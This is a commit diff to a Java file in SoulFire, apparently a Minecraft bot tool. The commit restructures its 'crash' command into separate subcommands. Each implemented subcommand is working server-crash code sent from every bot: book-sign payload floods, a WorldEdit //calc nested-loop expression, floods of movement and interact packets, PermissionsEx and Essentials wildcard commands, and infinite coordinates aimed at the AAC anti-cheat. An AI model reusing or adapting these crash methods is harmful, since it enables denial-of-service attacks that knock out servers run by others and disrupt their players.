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AlexProgrammerDEAlexProgrammerDE
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Properly implement commands in brigadier
1 parent dada883 commit 1c6f55a

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1 file changed

+173
-132
lines changed

1 file changed

+173
-132
lines changed

‎src/main/java/net/pistonmaster/soulfire/server/ServerCommandManager.java

Lines changed: 173 additions & 132 deletions
Original file line numberDiff line numberDiff line change
@@ -508,144 +508,185 @@ public void postConstruct() {
508508
dispatcher.register(
509509
literal("crash")
510510
.then(
511-
argument("method", StringArgumentType.greedyString())
511+
literal("book")
512512
.executes(
513513
help(
514-
"Attempts to crash the server",
514+
"Attempts to crash the server with a book",
515515
c -> {
516-
var method = StringArgumentType.getString(c, "method");
516+
log.info("Attempting to crash the server with a book");
517517

518-
log.info("Attempting to crash the server with method: {}", method);
518+
try {
519+
var data = Files.readAllBytes(Path.of("book.cap"));
520+
var packet = new ServerboundCustomPayloadPacket("MC|BSign", data);
521+
return forEveryBot(
522+
c,
523+
(bot) -> {
524+
for (var i = 0; i < 150; i++) {
525+
bot.sessionDataManager().sendPacket(packet);
526+
}
527+
return Command.SINGLE_SUCCESS;
528+
});
529+
} catch (IOException e) {
530+
log.error("Failed to read book.cap", e);
531+
return 1;
532+
}
533+
})))
534+
.then(
535+
literal("calc")
536+
.executes(
537+
help(
538+
"Attempts to crash the server with a calculation",
539+
c -> {
540+
log.info("Attempting to crash the server with a calculation");
541+
542+
return forEveryBot(
543+
c,
544+
(bot) -> {
545+
bot.botControl()
546+
.sendMessage(
547+
"//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<256;c++){}}}}");
548+
return Command.SINGLE_SUCCESS;
549+
});
550+
})))
551+
.then(
552+
literal("fly")
553+
.executes(
554+
help(
555+
"Attempts to crash the server with flying",
556+
c -> {
557+
log.info("Attempting to crash the server with flying");
558+
559+
return forEveryBot(
560+
c,
561+
(bot) -> {
562+
var botX = bot.sessionDataManager().clientEntity().x();
563+
var botY = bot.sessionDataManager().clientEntity().y();
564+
var botZ = bot.sessionDataManager().clientEntity().z();
565+
566+
while (botY < 256) {
567+
botY += 9;
568+
var packet =
569+
new ServerboundMovePlayerPosPacket(
570+
true, botX, botY, botZ);
571+
bot.sessionDataManager().sendPacket(packet);
572+
}
573+
574+
for (var i = 0; i < 10000; i++) {
575+
botX += 9;
576+
var packet =
577+
new ServerboundMovePlayerPosPacket(
578+
true, botX, botY, botZ);
579+
bot.sessionDataManager().sendPacket(packet);
580+
}
581+
582+
return Command.SINGLE_SUCCESS;
583+
});
584+
})))
585+
.then(
586+
literal("sleep")
587+
.executes(
588+
help(
589+
"Attempts to crash the server with sleeping",
590+
c -> {
591+
log.info("Attempting to crash the server with sleeping");
592+
593+
return forEveryBot(
594+
c,
595+
(bot) -> {
519596

520-
return switch (method) {
521-
case "book" -> {
522-
try {
523-
var data = Files.readAllBytes(Path.of("book.cap"));
597+
// TODO: 17/02/2024 check if there is a specific packet for
598+
// leaving bed
524599
var packet =
525-
new ServerboundCustomPayloadPacket("MC|BSign", data);
526-
forEveryBot(
527-
c,
528-
(bot) -> {
529-
for (var i = 0; i < 150; i++) {
530-
bot.sessionDataManager().sendPacket(packet);
531-
}
532-
return Command.SINGLE_SUCCESS;
533-
});
534-
} catch (IOException e) {
535-
log.error("Failed to read book.cap", e);
536-
}
537-
yield Command.SINGLE_SUCCESS;
538-
}
539-
case "calc" -> {
540-
forEveryBot(
541-
c,
542-
(bot) -> { // Work
543-
bot.botControl()
544-
.sendMessage(
545-
"//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<256;c++){}}}}");
546-
return Command.SINGLE_SUCCESS;
547-
});
548-
yield Command.SINGLE_SUCCESS;
549-
}
550-
case "fly" -> {
551-
forEveryBot(
552-
c,
553-
(bot) -> {
554-
var botX = bot.sessionDataManager().clientEntity().x();
555-
var botY = bot.sessionDataManager().clientEntity().y();
556-
var botZ = bot.sessionDataManager().clientEntity().z();
557-
558-
while (botY < 256) {
559-
botY += 9;
560-
var packet =
561-
new ServerboundMovePlayerPosPacket(
562-
true, botX, botY, botZ);
563-
bot.sessionDataManager().sendPacket(packet);
564-
}
565-
566-
for (var i = 0; i < 10000; i++) {
567-
botX += 9;
568-
var packet =
569-
new ServerboundMovePlayerPosPacket(
570-
true, botX, botY, botZ);
571-
bot.sessionDataManager().sendPacket(packet);
572-
}
573-
574-
return Command.SINGLE_SUCCESS;
575-
});
576-
yield Command.SINGLE_SUCCESS;
577-
}
578-
case "sleep" -> {
579-
forEveryBot(
580-
c,
581-
(bot) -> {
582-
// TODO: 17/02/2024 check if there is a specific packet for
583-
// leaving bed
584-
var packet =
585-
new ServerboundInteractPacket(
586-
bot.sessionDataManager().clientEntity().entityId(),
587-
InteractAction.INTERACT,
588-
Hand.MAIN_HAND,
589-
false);
590-
591-
for (var i = 0; i < 2000; i++) {
592-
bot.sessionDataManager().sendPacket(packet);
593-
}
594-
595-
return Command.SINGLE_SUCCESS;
596-
});
597-
yield Command.SINGLE_SUCCESS;
598-
}
599-
case "permissionsex" -> { // Work
600-
forEveryBot(
601-
c,
602-
(bot) -> {
603-
bot.botControl().sendMessage("/promote * a");
604-
return Command.SINGLE_SUCCESS;
605-
});
606-
yield Command.SINGLE_SUCCESS;
607-
}
608-
case "aac" -> {
609-
// TODO: 17/02/2024 find old version of AAC crack to test
610-
var packet =
611-
new ServerboundMovePlayerPosPacket(
612-
true,
613-
Double.NEGATIVE_INFINITY,
614-
Double.NEGATIVE_INFINITY,
615-
Double.NEGATIVE_INFINITY);
616-
forEveryBot(
617-
c,
618-
(bot) -> {
619-
bot.sessionDataManager().sendPacket(packet);
620-
return Command.SINGLE_SUCCESS;
621-
});
622-
yield Command.SINGLE_SUCCESS;
623-
}
624-
case "essentials" -> {
625-
forEveryBot(
626-
c,
627-
(bot) -> {
628-
bot.botControl().sendMessage("/pay * a a");
629-
return Command.SINGLE_SUCCESS;
630-
});
631-
yield Command.SINGLE_SUCCESS;
632-
}
633-
case "anvil" -> {
634-
// try damage 3 and 16384
635-
log.error("Anvil crash not implemented yet!");
636-
yield Command.SINGLE_SUCCESS;
637-
}
638-
case "chest" -> {
639-
// create huge NBT data on chest and place the most possible chest
640-
// to "crash" the area
641-
log.error("Chest crash not implemented yet!");
642-
yield Command.SINGLE_SUCCESS;
643-
}
644-
default -> {
645-
log.error("Unknown crash method: {}", method);
646-
yield Command.SINGLE_SUCCESS;
647-
}
648-
};
600+
new ServerboundInteractPacket(
601+
bot.sessionDataManager().clientEntity().entityId(),
602+
InteractAction.INTERACT,
603+
Hand.MAIN_HAND,
604+
false);
605+
606+
for (var i = 0; i < 2000; i++) {
607+
bot.sessionDataManager().sendPacket(packet);
608+
}
609+
610+
return Command.SINGLE_SUCCESS;
611+
});
612+
})))
613+
.then(
614+
literal("permissionsex")
615+
.executes(
616+
help(
617+
"Attempts to crash the server with Permissionsex",
618+
c -> {
619+
log.info("Attempting to crash the server with Permissionsex");
620+
621+
return forEveryBot(
622+
c,
623+
(bot) -> {
624+
bot.botControl().sendMessage("/promote * a");
625+
return Command.SINGLE_SUCCESS;
626+
});
627+
})))
628+
.then(
629+
literal("aac")
630+
.executes(
631+
help(
632+
"Attempts to crash the server with AAC",
633+
c -> {
634+
log.info("Attempting to crash the server with AAC");
635+
// TODO: 17/02/2024 find old version of AAC crack to test
636+
var packet =
637+
new ServerboundMovePlayerPosPacket(
638+
true,
639+
Double.NEGATIVE_INFINITY,
640+
Double.NEGATIVE_INFINITY,
641+
Double.NEGATIVE_INFINITY);
642+
return forEveryBot(
643+
c,
644+
(bot) -> {
645+
bot.sessionDataManager().sendPacket(packet);
646+
return Command.SINGLE_SUCCESS;
647+
});
648+
})))
649+
.then(
650+
literal("essentials")
651+
.executes(
652+
help(
653+
"Attempts to crash the server with Essentials",
654+
c -> {
655+
log.info("Attempting to crash the server with Essentials");
656+
657+
return forEveryBot(
658+
c,
659+
(bot) -> {
660+
bot.botControl().sendMessage("/pay * a a");
661+
return Command.SINGLE_SUCCESS;
662+
});
663+
})))
664+
.then(
665+
literal("anvil")
666+
.executes(
667+
help(
668+
"Attempts to crash the server with an anvil",
669+
c -> {
670+
log.info("Attempting to crash the server with an anvil");
671+
672+
log.error("Anvil crash is not implemented yet!");
673+
674+
// try damage 3 and 16384
675+
return Command.SINGLE_SUCCESS;
676+
})))
677+
.then(
678+
literal("chest")
679+
.executes(
680+
help(
681+
"Attempts to crash the server with a chest",
682+
c -> {
683+
log.info("Attempting to crash the server with a chest");
684+
685+
log.error("Chest crash is not implemented yet!");
686+
687+
// create huge NBT data on chest and place the most possible chest
688+
// to "crash" the area
689+
return Command.SINGLE_SUCCESS;
649690
}))));
650691

651692
SoulFireAPI.postEvent(new DispatcherInitEvent(dispatcher));

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